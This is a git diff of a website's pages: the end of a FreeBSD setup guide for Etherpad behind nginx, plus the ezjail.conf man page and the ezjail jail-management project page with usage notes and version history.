73known good commit 94d5b2dfd65abbee5a06d80d94cdb00a7947d9b1, otoh: you might want to check `my issue about this commit <https://github.com/ether/pad/issues/293>`_, overlay windows are broken atm.
74
75----
76
77Configure etherpad
78==================
79
80Type::
81
82 cd /usr/local/pad/etherpad
83 cp etc/etherpad.localdev-default.properties etc/etherpad.local.properties
84
85and in your ``etc/etherpad.local.properties`` do:
86
87* Change: devMode = false
88* Change: etherpad.isProduction = true
89* Change: etherpad.proAccounts = true
90* Change: etherpad.adminPass = ADMINPASS_CHANGEME
91* Change: etherpad.isProduction = true
92* Change: etherpad.SQL_PASSWORD = MYSQLPASS_CHANGEME
93* Change: listen = 0.0.0.0:9000
94* Change: topdomains = pads.domain.tld,localhost
95* Change: customEmailAddress = admin@pads.domain.tld
96* Change: transportUseWildcardSubdomains = false
97* Change: useHttpsUrls = true
98
99Remember the passwords well, take special care about trailing spaces! Now setup your domain in the following files:
100
101* src/main.js
102* src/static/crossdomain.xml
103* src/etherpad/pro/pro_utils.js
104* src/etherpad/control/pad/pad_control.js
105* src/etherpad/control/global_pro_account_control.js
106
107To disable a per-pad quota, comment out the call to _checkPadQuota in src/etherpad/control/pad/pad_control.js
108
109----
110
111Rebuild the JAR
112===============
113
114Type::
115
116 export JAVA_HOME="/usr/local/jdk1.6.0/"
117 export JAVA="/usr/local/jdk1.6.0/bin/java"
118 export SCALA="/usr/local/share/scala-2.7.7/bin/scala"
119 export SCALA_HOME="/usr/local/share/scala-2.7.7/"
120 export SCALA_LIBRARY_JAR="/usr/local/share/scala-2.7.7/lib/scala-library.jar"
121 export PATH=/usr/local/share/scala-2.7.7/bin/:$PATH
122 export MYSQL_CONNECTOR_JAR="/usr/local/share/java/classes/mysql-connector-java.jar"
123 export mysql=mysql
124
125Rebuild the ace dependency
126--------------------------
127
128This is especially important if you see this (google hint): ``net.appjet.bodylock.JSRuntimeException: Error: Neither module exists: etherpad.collab.ace.easysync2, etherpad.collab.ace.easysync2.``::
129
130 cd /usr/local/pad/infrastructure/ace
131 bin/make normal etherpad
132
133Rebuild the JAR with correct settings
134-------------------------------------
135
136Type::
137
138 cd /usr/local/pad/etherpad
139 bin/rebuildjar.sh
140
141----
142
143Install nginx
144=============
145
146Type::
147
148 cd /usr/ports/www/nginx
149 make install clean
150
151and be sure to select HTTPS.
152
153----
154
155Create Self Signed Certificates
156===============================
157
158For whatever your domain is, substitute it in the following commands::
159
160 openssl genrsa -out pads.domain.tld.key 1024
161 openssl req -new -key pads.domain.tld.key -out pads.domain.tld.csr
162 echo "subjectAltName=DNS:pads.domain.tld,DNS:*.pads.domain.tld" >pads.domain.tld.conf
163 openssl x509 -req -days 365 -in pads.domain.tld.csr -signkey pads.domain.tld.key -text -extfile pads.domain.tld.conf -out pads.domain.tld.crt
164 cat pads.domain.tld.crt pads.domain.tld.key >/usr/local/etc/nginx/pads.domain.tld.pem
165
166----
167
168Configure nginx
169===============
170
171Nginx configs were provided by cryx. Thank you. Fetch ``nginx.conf`` here: `<nginx.conf>`_ and put it to ``/usr/local/etc/nginx/``. Then in your local ``nginx.conf`` do:
172
173* Change: server_name pads.domain.tld \*.pads.domain.tld; take special care to include the wildcard subdomains
174* Change: ssl_certificate pads.domain.tld.pem; as created above
175
176Fetch ``nginx-etherpad.conf`` here: `<nginx-etherpad.conf>`_ and put it to ``/usr/local/etc/nginx/``. Then in your local ``nginx-etherpad.conf`` do:
177
178* Change: server_name pads.domain.tld \*.pads.domain.tld; take special care to include the wildcard subdomains
179* Change: proxy_pass http://pads.domain.tld:9000/;
180
181Type::
182
183 mkdir /var/log/www/; chown www:www /var/log/www
184 echo nginx_enable=YES >> /etc/rc.conf
185
186----
187
188Install start script
189====================
190
191Fetch rc script here: `<etherpad>`_ and put it to ``/usr/local/etc/rc.d/``.
192
193Type::
194
195 chmod +x /usr/local/etc/rc.d/etherpad
196 echo etherpad_enable=YES >> /etc/rc.conf
197 mkdir /var/run/etherpad; chown etherpad /var/run/etherpad
198 chown -R etherpad:etherpad /usr/local/pad
199
200----
201
202Install openoffice
203==================
204
205If you want to export word and pdf documents, you need to install openoffice and run it as a headless service.
206
207Fetch the libreoffice package here: http://wiki.bsdforen.de/anwendungen/libreoffice_aus_inoffiziellen_paketen#freebsd_amd64i386_87-stable_kamikaze or, a know working mirror for `<libreoffice-3.3.3.tbz>`_, MD5 (libreoffice-3.3.3.tbz) = 028d259735b361e46af8a9e253f168a8.
208
209Install dependencies, ignore warnings about already installed older versions::
210
211 pkg_add -r xineramaproto xf86vidmodeproto xextproto videoproto renderproto randrproto printproto kbproto inputproto fixesproto dri2proto damageproto compositeproto font-util encodings libtextcat expat gnome_subr ca_root_nss hicolor-icon-theme gnomehier lp_solve python27 xcb-proto perl hu-hunspell poppler-data png lcms jpeg jbigkit tiff openjpeg jasper curl pkg-config xproto pixman libtasn1 libfontenc libXdmcp libXau libICE libSM freetype2 mkfontscale mkfontdir fontconfig font-misc-meltho font-misc-ethiopic font-bh-ttf bitstream-vera xorg-fonts-truetype pcre orc m4 libpthread-stubs libxcb xcb-util libdrm libX11 libXt libXrender libXft libXfixes libXext libXxf86vm libXv libXrandr libXpm libXp libXmu libXinerama libXi libXdamage libXcursor libXcomposite libXaw libGL libGLU libltdl libffi libcheck icu db41 libiconv libxml2 raptor rasqal redland gettext libgpg-error libgcrypt glib gamin gio-fam-backend shared-mime-info libIDL gdk-pixbuf desktop-file-utils dbus libgee dbus-glib eggdbus cairo poppler bison gobject-introspection gstreamer gstreamer-plugins polkit pango ORBit2 lzo2 gnutls cups-client atk gtk dconf gconf2 libgsf libwpd libwps libwpg libxslt
212
213Install the local package::
214
215 pkg_add -f libreoffice-3.3.3.tbz
216
217Fetch rc script here: `<soffice>`_ and put it to ``/usr/local/etc/rc.d/``. Then type::
218
219 chmod +x /usr/local/etc/rc.d/soffice
220 echo soffice_enable=YES >> /etc/rc.conf
221
222----
223
224Configure name server
225=====================
226
227Add records for the pads and wildcard subdomains, for tinydns this is::
228
229 +pads.domain.tld:192.168.0.23:43200
230 +*.pads.domain.tld:192.168.0.23:43200
231
232----
233
234Filter local services
235=====================
236
237Add rules to filter ports 9000 and 3306 to pf.
diff --git a/stories/projects/ezjail.conf.5 b/stories/projects/ezjail.conf.5
new file mode 100755
index 0000000..f35d412
--- /dev/null
+++ b/stories/projects/ezjail.conf.5
@@ -0,0 +1,229 @@
1.Dd December 5, 2013
2.Dt EZJAIL.CONF 5 USD
3.Os FreeBSD
4.Sh NAME
5.Pa ezjail.conf
6.Nd configuration file for ezjail script
7.Sh DESCRIPTION
8The file
9.Pa ezjail.conf
10contains settings that control the operation of the ezjail
11.Xr rc 8
12script. It is also read by the
13.Cm ezjail-admin
14utility to figure out where it should perform its actions. Its path is
15set at installation time to
16.Pa EZJAIL_PREFIX/etc/ezjail.conf ,
17with an example file installed at
18.Pa EZJAIL_PREFIX/etc/ezjail.conf.sample .
19.Pp
20This file is really a shell script that is sourced by the
21.Cm ezjail-admin
22command at run-time.
23.Dq (str)
24denotes a string; it should be enclosed in quotes if it contains space.
25.Dq (bool)
26notes a boolean, whose possible values are
27.Dq YES
28and
29.Dq NO .
30.Sh PATH OPTIONS
31.Bl -tag -width option
32.It ezjail_jaildir (str)
33Location of jail root directories.
34.br
35Default:
36.Em /usr/jails .
37.It ezjail_jailtemplate (str)
38Location of template jail used to create a new jail
39.br
40Default:
41.Em ${ezjail_jaildir}/newjail .
42.It ezjail_jailbase (str)
43Location of base jail, the one that is mounted to all jails
44.br
45Default:
46.Em ${ezjail_jaildir}/basejail .
47.It ezjail_sourcetree (str)
48Location of your copy of FreeBSD's source tree (refer to the
49.Xr ezjail-admin 8
50utility for more information).
51.br
52Default:
53.Em /usr/src .
54.It ezjail_flavours_dir (str)
55Location of the flavours, where each directory is a different flavour.
56.br
57Default:
58.Em ${ezjail_jaildir}/flavours .
59.It ezjail_ftphost (str)
60This is where the install subcommand defaults to fetch its packages from.
61.br
62Default:
63.Em ftp.freebsd.org .
64.It ezjail_archivedir (str)
65This is the default archive location for the
66.Cm ezjail-admin archive
67command.
68.br
69Default:
70.Em ${ezjail_jaildir}/ezjail_archives .
71.El
72.Sh JAIL ADMIN OPTIONS
73.Bl -tag -width option
74.It ezjail_default_execute (str)
75This is the default command executed in a jail by
76.Cm ezjail-admin console .
77.br
78Default:
79.Em /usr/bin/login -f root .
80.It ezjail_exec_start (str)
81The command to execute in a jail when starting it.
82.br
83Default:
84.Em /bin/sh /etc/rc .
85.El
86.Sh JAIL CREATION OPTIONS
87Default options for newly created jails. Used by the
88.Xr ezjail-admin 1
89utility. Be careful about disabling
90.Em ezjail_mount_enable .
91.Bl -tag -width option
92.It ezjail_mount_enable (bool)
93Controls whether
94.Pa /etc/fstab. Ar hostname
95should be executed at jail startup time.
96.br
97Default:
98.Em YES .
99.It ezjail_devfs_enable (bool)
100Controls whether newly created jails are given a working
101.Pa /dev
102directory. (Refer to
103.Xr devfs 5
104and
105.Xr jail 8
106for more information).
107.br
108Default:
109.Em YES .
110.It ezjail_devfs_ruleset (str)
111Specifies which devfs ruleset should apply for newly created jails.
112(Refer to
113.Xr devfs 5
114and
115.Xr jail 8
116for more information).
117.br
118Default:
119.Em devfsrules_jail .
120.It ezjail_procfs_enable (bool)
121Controls whether newly created jails are given a working
122.Pa /proc
123directory. (Refer to
124.Xr procfs 5
125and
126.Xr jail (8)
127for more information).
128.br
129Default:
130.Em YES .
131.It ezjail_fdescfs_enable (bool)
132Controls whether newly created jails are given a working
133.Pa /dev/fd/
134directory. (Refer to
135.Xr fdescfs (5)
136and
137.Xr jail (8)
138for more information).
139.br
140Default:
141.Em YES .
142.It ezjail_uglyperlhack (bool)
143Set to YES, if ezjail should provide a soft link from
144.Pa /usr/bin/perl
145to
146.Pa /usr/local/bin/perl
147in base jail.
148.br
149Default:
150.Em YES .
151.It ezjail_default_flavour (str)
152Controls which flavours should be used for newly created jails if none
153are given on the command line.
154.br
155Default:
156.Em none .
157.It ezjail_imagetype (one of simple, bde, eli, zfs)
158Type of jail to create when creating a jail with the
159.Fl i
160flag without specifying the type explicitly.
161.br
162Default:
163.Em simple
164.El
165.Sh ZFS OPTIONS
166.Bl -tag -width option
167.It ezjail_use_zfs (bool)
168Set to YES, if ezjail should manage basejail and newjail in a separate
169ZFS-datasets.
170.br
171Default:
172.Em NO .
173.It ezjail_use_zfs_for_jails (bool)
174Set to YES, if ezjail should manage all new jails in their own
175ZFS-datasets. To override that on the command line, use
176.Cm ezjail-admin create -c simple
177for image based jails or
178.Cm ezjail-admin create -c ''
179for non-image jails.
180.br
181Default:
182.Em NO .
183.It ezjail_jailzfs (str)
184The name of the parent ZFS-dataset which ezjail will use to create
185jails on. It will be mounted in
186.Em ezjail_jaildir .
187Setting this will automatically enable ezjail managing jails in separate
188ZFS-datasets.
189.br
190Default:
191.Em none .
192.It ezjail_zfs_properties (str)
193Default properties ZFS will use for creating datasets. See
194.Xr zfs 1m
195for details. ADVANCED, be very careful!
196.br
197Default:
198.Em none .
199.It ezjail_default_retention_policy (str)
200Policy for the
201.Cm ezjail-admin snapshot
202subcommand to keep older snapshots. See
203.Xr ezjail-admin 1
204for details.
205.br
206Default:
207.Em none .
208.El
209.Sh FILES
210EZJAIL_PREFIX/etc/ezjail.conf
211.br
212EZJAIL_PREFIX/etc/rc.d/ezjail.sh
213.Sh SEE ALSO
214.Xr ezjail-admin 1 ,
215.Xr ezjail 5 ,
216.Xr jail 8 ,
217.Xr devfs 5 ,
218.Xr fdescfs 5 ,
219.Xr procfs 5 .
220.Sh AUTHOR
221Dirk Engling
222.Aq erdgeist@erdgeist.org .
223.Pp
224The man page is based on a draft by
225.An JoeB
226.Aq joeb1@a1poweruser.com
227and was rewritten by
228.An Frederic Perrin
229.Aq frederic.perrin@resel.fr .
diff --git a/stories/projects/ezjail.rst b/stories/projects/ezjail.rst
new file mode 100644
index 0000000..4eb4b65
--- /dev/null
+++ b/stories/projects/ezjail.rst
@@ -0,0 +1,412 @@
1.. link:
2.. description: is a jail management framework for the FreeBSD operating system, aiming to aid in setting up und updating virtual FreeBSD instances.
3.. tags: project
4.. date: 2000/02/01 19:10:08
5.. title: ezjail
6.. subtitle: Jail administration framework
7.. slug: ../arts/software/ezjail/index
8.. prio: 900
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16News
17====
18
19.. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg
20 :align: right
21
22.. post-list::
23 :tags: ezjail
24 :template: list_projectnews.tmpl
25 :stop: 5
26
27----
28
29Overview
30========
31
32A `Jail <http://www.freebsd.org/doc/en_US.ISO8859-1/books/arch-handbook/jail.html>`_ in FreeBSD-speak is one or more tasks with the same kernel Jail-ID, bound on zero or more IP addresses, having the same chroot-environment. One usecase of the FreeBSD Jail Subsystem is to provide virtual FreeBSD-systems within a Host-system. ezjail `is about making this as easy as possible <philosophy.html>`_, aiming for minimum system resource usage. All further references to the term Jail are to a virtual FreeBSD-system consisting of a host name, an IP-address and a Jail root.
33
34The jail(8) man page outlines the way to create Jails, however, when you need several Jails, complete Jail Directory Trees quickly use much of your valuable hard disc space. ezjail avoids this by using FreeBSDs nullfs feature. Most of the base system (/bin, /boot, /sbin, /lib, /libexec, /rescue, /usr/{bin, include, lib, libexec, ports, sbin, share, src}) only exists in one copy in the Host-system and is being mounted read only into all Jails via nullfs. Those Jails are quite slim (around 2mb each) and only consist of some soft links into the basejail mount point and non-shared directories like /etc, /usr/local, etc.
35
36The ezjail approach offers lots of advantages:
37
38* You save disc space, inodes and even memory since the system only needs to hold one copy of base system binaries for all Jails
39* You can update all Jails on a single base directory, since it is so eazy, you might actually end up doing it
40* Intruders compromising Jails are unable to install standard rootkits (as the base system is mounted read only)
41* Since ezjail is written entirely in sh, there is no need to install other script languages into the hostsystem
42* As the base system is provided via soft links, the enjailed users can choose not to use the mounted world
43* ezjail offers full zfs integration and can help you automatize your file system configuration
44* An often underestimated fact: less complexity means more security.
45
46----
47
48Quick start
49===========
50
51To set up your first very simple ezjail, just install ezjail from ``sysutils/ezjail`` port or via ``pkg_add -r ezjail`` and enable it by setting ``ezjail_enable=YES`` in your in your ``/etc/rc.conf``. Assuming your network interface is em0, just type (as root)::
52
53 ezjail-admin install
54 ezjail-admin create example.com 'em0|10.0.0.2'
55 ezjail-admin start example.com
56
57and you're done. Get a shell in your new jail with the::
58
59 ezjail-admin console example.com
60
61command. As with any vanilla FreeBSD installation, you might probably need to touch /etc/ and maybe copy your host's /etc/resolv.conf.
62
63----
64
65Slow start
66==========
67
68ezjail comes with some sane defaults, but can be configured globally and per jail using the config file /usr/local/etc/ezjail.conf (copy the sample from /usr/local/etc/ezjail.conf.sample) and the per-jail config files under /usr/local/etc/ezjail/ (those are created automatically with the jails and managed by the ezjail-admin config command).
69
70ZFS
71---
72
73ezjail integrates nicely with zfs, ready to manage all jails in its own file system. So if your system has a zpool configured, tell ezjail to use zfs and which zpool to use for its house keeping:
74
75* uncomment the ``ezjail_use_zfs=YES``
76* point the ``ezjail_jailzfs`` variable to a file system that will be created by ezjail-admin install, (e.g. ``tank/ezjail``)
77
78while you're at it, you can tell ezjail to create all future jails in their own file system (which defaults to be a child of ``ezjail_jailzfs``)
79
80* uncomment ``ezjail_use_zfs_for_jails=YES``
81
82now the commands in the quick start example should set up a zfs hierarchy ready to use all the nifty features of zfs.
83
84Flavours
85--------
86
87ezjail can help you with the otherwise tedious task of decorating the interior of new jails–those come as naked FreeBSD installations by default. A set of files to copy, packages to install and scripts to execute is called "flavour". ezjail comes with an example flavour called "example" that comes pre-tuned for the use in jails, with an appropriate ``rc.conf``, ``make.conf``, ``periodic.conf`` and ``/usr/local/etc/sudoers``.
88
89You are encouraged to copy the flavour and modify the contained script to suit your needs–flavours reside in the directory configured with the ``ezjail_flavours_dir`` variable, which defaults to ``/usr/jails/flavours``. But just calling::
90
91 ezjail-admin create -f example example.com 'em0|10.0.0.2'
92
93
94should do. Note, that the flavour script is being run the first time the jail starts, so calling::
95
96 ezjail-admin console -f example.com
97
98
99is a nice idea. You can use the shell to further configure the new jail.
100
101The basejail
102------------
103
104All jails share a read only mounted copy of the FreeBSD base system, in ezjail this is called basejail. The quick start section gave a glimpse on the most simple way to install just the basics, but no ports tree, no man pages (pre FreeBSD-9) and no sources. You can run the ``ezjail-admin install`` command with the options -P, -M and -S again to install these distribution packages without installing the base system again, or just call ``ezjail-admin install -spm`` from start. ezjail uses the portsnap command to provide (and later update) the ports tree. If you do not want to install the OS version running in the host system, call::
105
106 ezjail-admin install -r 2.2.8-RELEASE
107
108
109If you want to install your base system from source, use the ``ezjail-admin setup`` command (also called ``ezjail-admin update``); assuming you have already built your world for the host system, you would just call::
110
111 ezjail-admin setup -i
112
113
114to run a make installworld from your source directory, which defaults to ``/usr/src``. To run a make buildworld before the installworld, call::
115
116 ezjail-admin setup -b
117
118For binary installations, ezjail uses the freebsd-update tool to keep the basejail up to date,::
119
120 ezjail-admin update -u
121
122should do the trick.
123
124Image and crypto jails
125----------------------
126
127Before the dawn of zfs, simple means to set limits on jails, like quotas, were hard to achieve. ezjail's answer were image jails, file backed "memory" disc images containing an ufs with the jail's content. When geom appeared with the very useful gbde and geli crypto layers for geom, encrypting image jails became possible. ezjail would handle creating and later attaching and detaching those images for you.
128
129Now simple image jails are not as hot anymore and personally I would recommend using geli to encrypt the provider for your zpool to apply proper crypto to all your jails. Still, there may be valid use cases for image jail. Call::
130
131 ezjail-admin create -i -s 2G example.com 10.0.0.2
132
133to create a two gigabyte md-image with an ufs file system and install the jail inside. To configure the jail without starting it, use the attach and detach subcommands of ``ezjail-admin config``, like this::
134
135 ezjail-admin config -i attach example.com
136 cd /usr/jails/example.com
137 # … do your thing …
138 ezjail-admin config -i detach example.com
139
140Should the file system need some love, e.g. after a spontanous reboot or system crash, call::
141
142 ezjail-admin config -i fsck example.com
143
144to tidy up the mess–it ain't zfs, after all. By default ufs soft updates are enabled, so background fsck should occur for minor wrinkles, when an image jail starts.
145
146To create encrypted image jails, use the -c switch and either pass bde or eli and follow the instructions on screen::
147
148 ezjail-admin create -c eli -i 16G example.com 10.0.0.3
149
150Note, that ezjail creates image jails by filling them from ``/dev/zero`` or ``/dev/random``, for performance reasons (reduce seeks with this file system inside a file system hack) and for security reasons (do not leak information about which blocks have been written for crypto jails), so creating huge image jails may take a while. Also note, that crypto jails would block the boot process (unless the passphrase is provided via a file or some fetch magic via stdin). So they are being marked as attachblocking and not started during boot time. You need to start them using ``ezjail-admin startcrypto``.
151
152Further reading
153---------------
154
155To get further details about all the options for ezjail-admin and all knobs and bolts, I recommend the excellent man pages: ezjail-admin, an overview over ezjail and the ezjail config file.
156
157----
158
159Version History
160===============
161
162Since ezjail is useful under FreeBSD only, you might want to install it from ports ``sysutils/ezjail``. An `ezjail cvsweb (deprecated) </cvsweb/ezjail/>`_ and `ezjail gitweb </gitweb/ezjail/>`_ are available, plus there is a `fresh checkout <ezjail/>`_. The most current version is available via cvs. Use ``git clone git://erdgeist.org/ezjail`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co ezjail`` with an empty passwort to check it out. Just type ``sudo make install`` to install it. Older versions may be found here (checksums in tooltips):
163
164* CURRENT - not packaged yet
165* V3.4.1 ezjail-3.4.1.tar.bz2 (2014-06-10)
166
167 * Fixed a fatal bug in unfinished parts of the new troubleshoot subcommand
168
169* V3.4 ezjail-3.4.tar.bz2 (2014-06-10)
170
171 * Began a troubleshoot subcommand that will in future check for unintuitive reasons for the jails to fail.
172 * Fixed a bug where Jails configured .norun were reported failing to start with the ezjail-admin start subcommand. Thanks to John Grasty.
173 * Create /var/ports/packages and /var/ports/distfiles in new jails to reflect custom /etc/make.conf.
174 * The Makefile now supports staging.
175 * Implement a test parameter for the ezjail-admin config -r subcommand that reports the runnable state. This can also be used to test for an ezjail's existence.
176 * Fixed a bug where ezjail-admin would not find jails with jid > 99999. Thanks to Mathieu Arnold.
177 * Fixed a bug where ezjail-admin delete and ezjail-admin config would not find the zpool the jail was created in.
178 * Implemented a jail snapshot mechanism for zfs jails with configurable retention policy.
179 * Fixed a bug where ezjail-admin restore with a path to an archive would not use the correct jail name and thus fail. Thanks to Ollivier Robert.
180* V3.3 ezjail-3.3.tar.bz2 (2013-04-20)
181
182 * Due to recent circumstances, I added a license file.
183 * Properly handle ip addresses with prefixed interface names, so they appear readable in the jail list and they will not be checked for on ezjail-admin create. Since FreeBSD 9.0 you can configure ip addresses with interface prefix (e.g. em1|10.0.0.1). This feature of jail(8) is now also documented in the ezjail's man pages.
184 * Using CVS to update ports was deprecated for a while. FreeBSD does not offer the anoncvs server, anymore. So ezjail_portscvsroot is gone.
185 * Added a -z option to ezjail-admin create to allow creating zfs jails in a different zpool or under a different zfs parent file system than the one ezjail uses for house keeping. Thanks to Cryx.
186 * Add the a man page authors section to the man pages.
187 * Also read and dump jail_JAIL_parameters when changing jail options. Thanks to Виталий Владимирович.
188 * ezjail-admin update and ezjail-admin upgrade now call freebsd-update install until no more update steps are necessary. Previously upgrades were not installed completely, as freebsd-update uses several passes.
189 * Now properly support the new distributions layout.
190 * Do not run chflags -R noschg when deleting image jails. The whole file system is being thrown away, anyway. Thanks to tomster.
191* V3.2.3 ezjail-3.2.3.tar.bz2 (2012-09-23)
192
193 * Fixed a bug that made ezjail-admin update not find the source tree. Thanks to Paul Macdonald.
194 * Fixed ezjail-admin console to not start all jails when the -f option is requested.
195* V3.2.2 ezjail-3.2.2.tar.bz2 (2012-09-10)
196
197 * Jails can now default to being created in zfs, set ezjail_use_zfs_for_jails="YES" in your ezjail.conf to do that.
198 * Cleaned up the zfs code to ensure the ezjail zfs in a central place.
199* V3.2.1 ezjail-3.2.1.tar.bz2 (2012-02-02)
200
201 * Fixed ezjail-admin list to work properly without jails.
202 * A helper script ezjail-clone.sh has been added to the repository that aids in importing whole server setups into an ezjail-system.
203 * ezjail-admin update now ensures that all files with schg set are also updated. Thanks to Geoffroy Desvernay.
204 * Fixed the way ezjail-admin create tests for local IP addresses. The old test using ping with a given TTL did not work reliable. Now we use ping and try to use the IP address as source address.
205 * Fixed a bug where pids not belonging to a Jail were reported as jailed. Thanks to Thomas Steen Rasmussen.
206 * Fixed a bug in ezjail-admin delete -f where all Jails were stopped, not only the one to be deleted. Tanks to Thomas Steen Rasmussen.
207 * Fixed a bug in ezjail-admin create that overwrote all flavours scripts with the successor by not counting the flavours correctly. Thanks to Geoffroy Desvernay.
208* V3.2 ezjail-3.2.tar.bz2 (2012-01-07)
209
210 * The man pages have been completely rewritten and are much easier to understand now.
211 * Default archive location now is ezjail_archives under ezjail_jaildir. Before it defaulted to the current directory.
212 * ezjail-admin install now understands FreeBSD's new naming scheme on the release ftp servers.
213 * /usr/games/ has gone.
214 * ezjail-admin delete now takes an -f parameter that forces stopping the Jail before deleting it
215 * The rc.d/ezjail.sh script has been renamed to rc.d/ezjail in accordance to FreeBSD guide lines.
216 * When using ezjail-admin to start Jails, checks now are properly extended to all versions of the (one|force|...) prefixes.
217 * When installing the basejail from a server, we now also look in the ftp server's Archive directory.
218 * The check for already listening services has been augmented to support multiple IPs and v6 addresses.
219 * Before removing Jails the system immutable flag is now cleared.
220 * ezjail-admin now collects its Jail list more to the standard.
221 * Unknow Jail image types now default to directory based.
222 * Experimental freebsd-upgrade support.
223 * Fix one misspelling that wrongly reported success for attaching a console to a Jail not running.
224 * The ezjail rc script now correctly also re-attaches images on restart.
225 * There now is a Jail name auto completion script for zsh.
226* V3.1 ezjail-3.1.tar.bz2 (2010-02-26)
227
228 * Introduced support for creating ezjails and the basejail in ZFS file systems.
229 * Attaching ZFS-datasets to ezjails is now supported.
230 * Support for cpusets and altered network view for ezjails.
231 * The ezjail-admin archive command now uses the cpio format for its archives.
232 * Since FreeBSD 8 does not support rc.d-scripts ending in .sh, the flavourizing script has been renamed accordingly.
233 * The ezjail-admin list command now supports multiple IP addresses for a jail.
234 * The ezjail-admin command now returns 0 if no error occurs.
235 * You can now specify a default flavour in your ezjail.conf that is applied to any new Jail.
236 * Renamed the default flavour to example to avoid confusion. default flavour was never applied by default.
237 * ezjail-admin create and ezjail-admin config no longer fail if they can't create a soft link in ezjail_jaildir. They now use mktemp to get a unique one.
238 * ezjail-admin create now allow multiple flavours to be applied to new jails. They are executed in the order provided with the -f option.
239* V3.0 ezjail-3.0.tar.bz2 (2008-09-26)
240
241 * Introduced an ezjail-admin restore command that can be used to easily deploy a backed up version of an ezjail's archive.
242 * Introduced an ezjail-admin archive command that – accompanied by the newly introduced create -a option – can be used to take (automated) backups of your jails and reinstall them.
243 * Introduced the ezjail-admin console sub command. This will jexec into a Jail identified by its Jail name. It can also bring up non-running jails if run with the -f switch.
244 * ezjail-admin update does not (re)build the whole world by default, anymore. You have to provide -b (buildworld, installworld), -i (installworld only) or (as a new option) -u to use freebsd-update to update your base jail.
245 * ezjail-admin now silently proxies everthing that looks like it was meant for ezjail.sh over to ezjail.sh.
246 * ezjail-admin now reports its version number along with synopsis information.
247 * ezjail.sh now stops ezjails in reverse startup order.
248 * ezjail.sh now reports ezjails configured norun as "skipping [jailname]" and blocking as "skipping blocking [jailname]".
249 * ezjail-admin now find .s its stuff. Using '*' never found dot-files and could have led to a "too many parameters" situation.
250 * Fixed a bug where image jails would not be run with ezjail.sh restart when not running or would not have their images attached when already running. Thanks to hukl for bug report.
251 * Fixed the missing lib32 packag on amd64 platforms when doing ezjail-admin install.
252 * sudo now checks permissions on its sudoers file and stops, if it is not 0440. Fixed ezjails Makefile to install sudoers to default flavour. (However, if you already installed ezjail, you might want to manually chmod 0440 ${ezjail_flavours}/default/usr/local/etc/sudoers and all corresponding sudoers files in all jails.)
253 * Fixed a bug, where an image Jail was incorrectly reported not attached.
254
255.. class:: closed
256
257* V2.1. ezjail-2.1.tar.bz2 (2007-07-31)
258
259 * Introduced a ezjail-admin config -n newname sub command to enable renaming jails.
260 * Introduced a ezjail-admin config -i fsck sub command to fsck images.
261 * Use the sendmail_submit_enable, sendmail_outbound_enable and sendmail_msp_queue_enable in the default-flavour rc.conf to allow easier fine-grained control for sendmail.
262 * ezjail-admin create now ignores .dot-files in directories meant to be Jail roots. That way directories coming fresh from newfs won't be mistaken as used.
263 * Fixed a bug where portsnap would be called with fetch rather than cron from my ezjail-admin update -P.
264 * Enable soft updates for image jails.
265 * Now taking copies of soft linked packages inside jails. They would not be visible.
266 * Fail, when trying to install or update ezjails world, if in a secure level > 0. Too many bad things happen in secure levels.
267 * ezjail.sh now also checks for root directory to prevent strange effects in /etc/rc.d/jail.
268 * Default flavours /etc/periodic.conf now makes all periodic scripts log to files instead of sending mails. Most often this is what you want in your jails.
269 * Started learning groff and went over man pages. Not many visible changes here.
270* V2.0.1 ezjail-2.0.1.tar.bz2 (2006-07-24)
271
272 * DESTDIR was ignored for sub targets in an ezjail-admin update -p under certain circumstances. See this report for more details. Thanks go to Simon L. Nielsen.
273 * Fixed some qoutation/expansion issues with tr parameters in the form [:alnum:] which were expanded to the files : a l n u and m, if existing. Also an apparent bug in tr was circumvented which incorrectly replaced A-Z to a-z in certain LANG settings. Thanks agains to Simon L. Nielsen.
274 * ezjail_ftphost was ignored when specified in PREFIX/etc/ezjail.conf. Thanks to Edwin Groothuis.
275* V2.0 ezjail-2.0.tar.bz2 (2006-05-31)
276
277 * The default way to create the basejail will become the newly introduced ezjail-admin install subcommand. In its default configuration the base system is fetched from an ftp-Server. Fetching ports, source, man pages is possible with -p, -s and -m switch. Implementing this feature finally brings the promised ease of use and allows: cd /usr/ports/sysutils/ezjail; make install; ezjail-admin install; ezjail-admin create test.com 10.1.1.1 on a vanilla FreeBSD server, i.e. without installing /usr/src.
278 * A new concept of how to manage your Jails has been introduced: Image Jails. They come in plain, gbde and geli encrypted. ezjail-admin create, ezjail-admin delete and ezjail.sh have been updated to provide the functionality needed.
279 * ezjail.sh now provides more information to rcorder which took control over the execution of new style localpkg scripts. These changes in FreeBSD rc scripts led to ezjail.sh not being started under certain circumstances. It will REQUIRE: sshd, making administration on a server running many jails a lot more peaceful. Thanks to Oli.
280 * When called without specific Jail names (e.g. at system start), ezjail.sh now runs rcorder on its config file list located in PREFIX/etc/ezjail/ before processing them. That way you can manually construct a dependency tree and for example start your name server Jail first and your data base-Jail before your web server Jail. However, some basic knowledge in bourne shell and the rcorder command is required. Beware of circles.
281 * ezjail-admin create now installs flavours with an unconditional flag. Previously files were not copied, if an "older" version existed. Thanks to Matthias Lederhofer.
282 * ezjail-admin list has been heavily extended. It now lists Jails in the same order they are being run on system startup. This is to help debugging the dependency tree. It further now also lists jails status (Directory based, Image, BDE crypto image or ELI crypto image) and running state (Running, Attached, Stopped or Norun). Thanks to Bas Dakkenhorst for useful diffs.
283 * ezjail-admin create now prepends all Jail configs with empty rcorder control statements to make altering the config easier.
284 * ezjail.sh now excludes Jail configs whose file name contain '.' (dots). This way it is possible to configure a Jail config test_org.norun to temporary exclude it from auto run process.
285 * ezjail introduces an option ezjail_uglyperlhack (defaults to YES) which creates a soft link from /usr/bin/perl to /usr/local/bin/perl in the base jail. This is useful since perl was expelled from base system in FreeBSD 5 but still many scripts rely on #!/usr/bin/perl.
286 * /usr/games and /usr/libdata have now become part of the basejail. Someone please kick me for missing that until now. Saves another 100k in newjail. Hopefully I got them all by now ;) Thanks to Vivek Khera.
287* V1.3.1 ezjail-1.3.1.tar.bz2 (2006-03-13)
288
289 * ezjail.sh did not ignore the jail_list from rc.conf as it should due to a legacy name space clash. This led to no ezjail being started at system startup when some non-ezjail-Jails exist in the system. Thanks to Cryx.
290 * ezjail-admin now prevents a Jail called fulljail to be created and refines the error message in case the user wants to create basejail, newjail or flavours.
